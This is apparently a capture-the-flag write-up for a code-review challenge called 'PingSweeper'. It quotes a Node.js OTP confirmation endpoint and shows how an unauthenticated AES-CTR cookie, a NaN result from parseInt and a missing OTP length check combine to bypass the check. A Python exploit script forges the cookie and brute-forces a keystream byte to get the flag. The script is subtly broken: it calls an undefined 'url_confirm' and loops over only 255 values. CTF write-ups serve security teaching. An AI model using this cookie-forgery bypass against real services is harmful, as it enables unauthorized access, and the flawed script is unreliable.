PingSweeper
- Category: CodeReview
- 450 points
- Solved by JCTF Team
Description
Solution
Didn't solve this challenge in the intentend way (SQL injection), but the challenge's category is "code review" so any vulnerability we find is fair game, right? :-)
We guessed that we need to somehow send an OTP to the webapp which will be accepted in order to get back the flag, and indeed and the code for the endpoint "/api/confimOtm" reads:
const express = require('express');
const router = express.Router();
const orm = require('../models/index');
const config = require("../config/config");
const crypto = require('crypto');
const endpointsModel = orm.import('../models/endpoints');
const aes256 = require('aes256');
const fetch = require('node-fetch');
const key = config.AES.key;
const adminPhone = config.adminPhone;
const flag = config.flag;
...
...
router.post('/confirmOtp', function (req, res) {
try {
// Global, use per-user cookie instead
//orm.query('SELECT @OTP;').then(otp => console.log(otp));
const currentStamp = Date.now();
const otp = req.body.otp;
const encrypted = req.cookies.otpStamp;
const decrypted = aes256.decrypt(key, encrypted);
const decryptedOtp = decrypted.slice(0, 8);
const decryptedStamp = parseInt(decrypted.slice(8), 10);
if (currentStamp >= decryptedStamp) {
res.status(500).json({
error: 'Session expired'
});
} else if (otp !== decryptedOtp) {
res.status(500).json({
error: 'Incorrect OTP'
});
} else {
res.json({
flag
});
}
} catch (e) {
res.status(500).json({
error: 'Bad data'
});
}
});
Lets walk the confirmation method logic:
- Gets the current millisecond epoch time, stores in
currentStamp
. - Gets the otp we posted in the request body, storse in
otp
. - Gets the otpStamp cookie:
- Decrypt it through
aes256
module using a secret key getting a plaintext. - The first 8 bytes of the plaintext is considered the
decryptedOtp
. - All the rest bytes in the plaintext from the 9th byte onward is parsed as int of base 10 and called
decryptedStamp
.
- Decrypt it through
- If the currentStamp is greater than decryptedStamp return 'Session expired' error.
- If the otp is not equal to the decryptedOtp return 'Incorrect OTP' error.
- Return the flag.
- If any error occur in any pervious step return 'Bad data' error.
We need to pass only 2 if statements - timestamp compare and otp compare, and also we cannot raise any exception, let's find out a way to break this and get the flag.
Looking at aes256
code we find out that:
- Ciphertext is base64 encoded.
- CTR mode is used - the ciphertext can be of any length of bytes and not only a multiple of a blocksize of AES.
- The decrypt function throws if it gets less then 17 bytes and since 16 bytes is the iv it means that at least one byte of "actual" ciphertext is needed to be provided.
We found the first mistake: the otpStamp
cookie is not integrity protected! This allow us to craft this cookie at will. Side note: CTR is also malleable but we will not use this useful property here.
Keeping our new power in mind we can now look at the first if statement, we look at parseInt at MDN which tells us that we might get a NaN
.
If we can get decryptedStamp
to be a NaN we will pass the first if statement as whatever number currentStamp
will be it will NOT be greater or equal to NaN
.
We check in browser console:
> parseInt('', 10)
NaN
We conclude that the second mistake that this code is missing a check that decryptedStamp
is an actual number and not NaN
.
The last if statement is just comparing the otp from the posted form against the decryptedOtp
as a byte string. There is NO check that the otp length is 8 bytes!!!
This is the last mistake we needed!
We can just send 1 byte of ciphertext and send an otp of one byte of '0'. We will need to do this maximum of 256 requests as we don't know the relevant keysteam byte which is xor'ed with the provided byte through our cookie.
The expliot code is:
import requests
import sys
from base64 import b64encode
from urllib.parse import quote
url = "https://pingsweeper.appsecil.ctf.today/api/confirmOtp"
headers = {
"Accept": "*/*",
"Host": "pingsweeper.appsecil.ctf.today",
"Origin": "https://pingsweeper.appsecil.ctf.today"
}
s = requests.Session()
s.headers = headers
def confirm(otp):
r = s.post(url_confirm, data={"otp": otp})
if r.status_code == 200:
print(r.json()['flag'])
print()
sys.exit(0)
def setOTP(iv, code, ts):
otpCookie = iv + code + ts
s.cookies.set('otpStamp', quote(b64encode(otpCookie)), domain='pingsweeper.appsecil.ctf.today')
def setUuid(uuid):
s.cookies.set('uuid', uuid, domain='pingsweeper.appsecil.ctf.today')
try:
setUuid('b3f463bf-9675-498e-befd-10213a55931a')
iv, code, ks = b'\x00' * 16, b'', b''
otp = ''
for c in range(255):
setOTP(iv, bytes([c]), ks)
confirm('0')
print('Failed to get the flag')
except KeyboardInterrupt:
pass
Running this code we get:
AppSec-IL{SH0u1d_H4v3_US3d_4_pR3p4R3d_ST4Tm3Nt}
Which indeed confirm, no pan intended, that we solved this challenge not in the intended way.
Might have been Validated your inputs!
and Protect your cookies integrity!
. Ta ta.